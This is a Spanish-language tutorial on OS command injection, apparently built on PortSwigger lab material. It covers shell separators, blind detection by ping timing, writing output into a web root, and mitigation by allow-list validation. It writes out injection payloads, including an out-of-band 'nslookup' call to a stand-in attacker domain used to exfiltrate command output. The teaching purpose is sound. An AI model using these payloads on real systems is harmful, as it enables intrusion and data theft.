Vamos a ver esta vulnerabilidad web que nos permite tomar control de una aplicación web mediante comandos operativos de sistemas UNIX, Windows.
Last updated
Esta vulnerabilidad se trata nada mas y nada menos que de la capacidad para poder tirar comandos especificos desde una aplicación web de un sistema operativo especifico.
Como por ejm: Linux, Windows, MacOS, pero ya para cada SO existe y tiene su enfoque propio cada sistema operativo.
Es una inyección de comandos que permite ejecutar comandos de un sistema operativo desde una aplicación web, esto a nivel de riesgo puede lograr comprometer todo el sistema, e incluso obteniendo datos importantes, además de que se puede lograr efectuar más acciones por encima de otras infraestructuras subyacentes dentro de la aplicación web para poder abarcar el ataque a otros sistemas de la organización.
En este caso podemos ver ejemplificado en el caso cuando por ejm una aplicación web necesita verificar la info de otro sitio web si está disponible por ejm X elemento, en este caso especifico de una lista de productos de la tipica pagina que conocemos de portswigger con productos, verificar y saber si hay X producto disponible en otra tienda especifica por ejm.
Accedemos a la información a través de esta URL:
https://insecure-website.com/stockStatus?productID=381&storeID=29
En este caso, por razones historica la forma en como se consulta en sistemas heredados es mediante un comando de Shell con los ID del producto y el ID de la tienda “store”
Argumentos: stockreport.pl 381 29 -> Sabemos que 381 en este caso el ID del producto, 29 el ID de la tienda Store.
De esta forma el comando lo que hara será generar el stock de la disponibilidad de los productos en X store (tienda), ahora bien nosotros podemos añadir inyectar nuestro comando de sistema operativo para ejecutar la sentencia que necesitemos deseemos, a modo de ejemplo →
& echo aiwefwlguh &
Si este comando se ejecuta en el productID la sentencia ejecutada del comando por el sistema sería:
Luego de ello que sería como una inyección sql, la ejecución del comando completo sería:
stockreport.pl & echo aiwefwlguh & 29
Esto retornaría una información un tanto util para entender ciertas cosas, lo que retorna es:
Error - productID was not provided aiwefwlguh 29: command not found
Los parametros definidos para stockreport no se pasaron, por ello productID wasn`t provided
La sentencía de echo “aiwefwlguh” se imprimio en la salida exitosamente
29 fue leido como otro comando sin embargo 29 no es ningún comando correcto para ser ejecutado.
De estas cosas se sabe que cada una fue ejecutada por a parte, y eso es debido a que cada comando o sentencia está separada por el unpersant “&” este lo que hace es separar cada sentencia por una a parte la una de la otro pero consecutivas la primera de la siguiente.
De hecho el “&” es el que nos permite poder ejecutar la inyección exitosamente para poder no omitir la inyección de comando.
Después de identificar una vulnerabilidad de inyección de comandos del sistema operativo, es útil ejecutar algunos comandos iniciales para obtener información sobre el sistema. A continuación se muestra un resumen de algunos comandos que son útiles en las plataformas Linux y Windows:
Nombre del usuario actual
whoami
whoami
Sistema operativo
uname -a
ver
Configuración de la red
ifconfig
ipconfig /all
Conexiones de red
netstat -an
netstat -an
Procesos corriendo
ps -ef
tasklist
La verdad es que muchos casos de inyección de comandos no son realmente como el que vimos en el laboratorio anterior sino que son comandos de inyeccion Ciegos, osea, podemos inyectar comandos de so sin embargo no nos aparecerá información pertinente en la respuesta http, pero eso no es problema, hay otro enfoque para poder llevar a cabo ataques ciegos de inyección de comandos SO.
Por ejm podemos imaginar el caso de una pagina con un blog que tiene sección de comentarios donde los users pueden postear sus comentarios con sus correos correspondientes, en ese caso nosotros podriamos añadir un echo y añadir un & para testear si podemos inyectar un comando, sin embargo esto sin poder lograrlo ya que puede estar blindado para no mostrar nada en la respuesta http, por ejm:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
Aqui existe el comando mail que nos ayuda tomando el comentario del user junto con su correo y la url del website sin embargo no mostrará nada en el response.
Una tecnica que puede ser buena para comprobar si la pagina es susceptible a inyección de comandos sin response http es la del ping, podemos enviar unos ping al loopback 127.0.0.1 con un numero modificable de solicitudes ICMP 10,20,30, etc las que sean, entonces en función de eso podemos analizar la respuesta de la aplicación considerando cuanto se demora y de esa forma claramente podemos determinar si es o no vulnerable en función del tiempo claro, vamos a ver bien el comando.
& ping -c 10 127.0.0.1 &
No olvidemos los andpersants, son importantes para poder continuar la inyección sin que sea omititida.
Podemos llegar a guardar la salida de una ejecución de un comando en un archivo plano que podemos guardar dentro del directorio raiz de un sitio web estatico.
Por ejm: si tenemos la pagina /var/www/static/ facilmente podemos conseguir una salida especifica del tipo:
& whoami > /var/www/static/whoami.txt #Probablemete se guarde en el txt
luego simplemente podemos acceder a el desde el directorio raiz principal, como es un sitio estatico podemos obtener todo desde la raiz que es donde estan todos los elementos estaticos de la carpeta static/
https://vulnerable-website.com/whoami.txt → Pagina ejemplo.
Así recuperamos el archivo para poder ver el resultado del comando inyectado.
Podemos implementar la forma en como redirigir la salida de nuestra inyección a un lugar o dominio propio nuestro como atacantes, algún recurso como burp collaborator para ese fin, nosotros como atacantes.
El canal fuera de banda proporciona una manera fácil de filtrar la salida de los comandos inyectados, un comando de inyección como por ejm:
& nslookup kgji2ohoyw.web-attacker.com &
Esta carga útil utiliza el nslookupcomando para provocar una búsqueda de DNS para el dominio especificado. El atacante puede monitorear para ver si se realiza la búsqueda y confirmar si el comando se inyectó exitosamente.
Esto provoca una búsqueda de DNS en el dominio del atacante que contiene el resultado del whoamicomando:
Como recordaba, para eso sirve el comando nslookup en cualquier distro o sistema operativo, ahora bien, lo que podemos hacer también sería compilar el comando desde la terminal, consultando la ip de google.com
Vamos a ver este concepto teorico en la practica, veamos como podemos resolver los próximos laboratorios.
Algo a tener en cuenta es que la inyección de comandos OS depende y varía mucho, es según el SO que podamos detectar o al menos que tipo de servidor es en el que se aloja la aplicación web, ya que de esta forma podremos definir la tasa % de exito que tendremos en los comandos que creamos para testear en la app, claro esto si nos regimos por un marco de testear manualmente paso a paso, si lo hacemos con una herramienta automatizada pues tirará de todo lo que tenga por tirar (que no es la idea) pero bueno en fin, es solo mi perspectiva y pensamiento ante ello.
Existen varios caracteres para poder ser usados en una posible inyección de comando que pueden funcionar tanto en windows como en linux UNIX y que permite el hecho de poder tirar comandos en conjunción para poder realizar el ataque por completo ya que son separadores de comando, uno de ellos son:
& Operador AND single
&& Operador AND Two
| Operador OR single
|| Operador OR Two
Ahora bien existen otros tipos de separadores de comando sin embargo en este caso solo sirven en sistemas UNIX linux, los cuales son:
;
Nueva Linea ox0a o \
También podemos aclarar que en sistemas basado en UNIX podemos añadir otros caracteres que nos permiten ejecutar secuencias de comandos en linea dentro del comando original, los caracteres son:
Comilla invertida: `
Caracter Dolar: $( e inyectar el comando)
La verdad es que los metacaracteres tienen diferentes comportamientos en la shell así que el usarlos acorde a lo que se pueda lograr es lo que realmente hará la diferencia, además de que pueden tener comportamientos sutilmente diferentes si funcionan en determinadas situaciones.
Otro factor a tener en cuenta es el hecho de que muchas veces intentamos inyectar un comando sin embargo toca tener en cuenta que el comando original que se intenta consultar en la aplicación legitimamente puede llegar a terminar en comillas ya sean " o ' así que se debe terminar el contexto citado usando de nuevo las " o ' para poder de esa forma continuar con los metacaracteres de shell adecuados para continuar con la inyección del comando.
La forma en que la mayoria de veces se pueden inyectar comandos de SO es debido a que las aplicaciones integran los comandos de sistema operativo en el mismo codigo de la aplicación, por ejm: mantienen un codigo por debajo del aplicativo en el backend cuando un usuario digita su nombre y correo para publicar un comentario, bueno en ese caso se pueden inyectar comandos desde esa parte si realmente no se implementan las medidas de seguridad adecuadas y correctas para que no se pueda ni se deba inyectar un comando, por ello a veces lo mejor es implementar APIS seguras que pueden y permiten mantener seguro cualquier entrada suministrada por parte del usuario.
Si no se puede implementar la API y toca llamar el comando del SO con la entrada proporcionada por el usuario entonces en ese caso en ese caso es de sumar importancia que se tengan ciertos parametros y reglas antes de crear una entrada la cual será parte del proceso de un usuario, así que se deben hacer las siguientes cosas para que sea más seguro el input.
Validación de lista blanca con valores permitidos.
Validando que la entrada del usuario sean numeros o solo caracteres dependiendo de lo que se necesite esa sintaxis requerida.
Expresiones regulares Regex si es necesario para poder ajustar los caracteres expresamente a lo que se necesite.
Que no se acepten espacios en blanco.
Eso es todo, si llegaste hasta aquí gracias por leerme :)
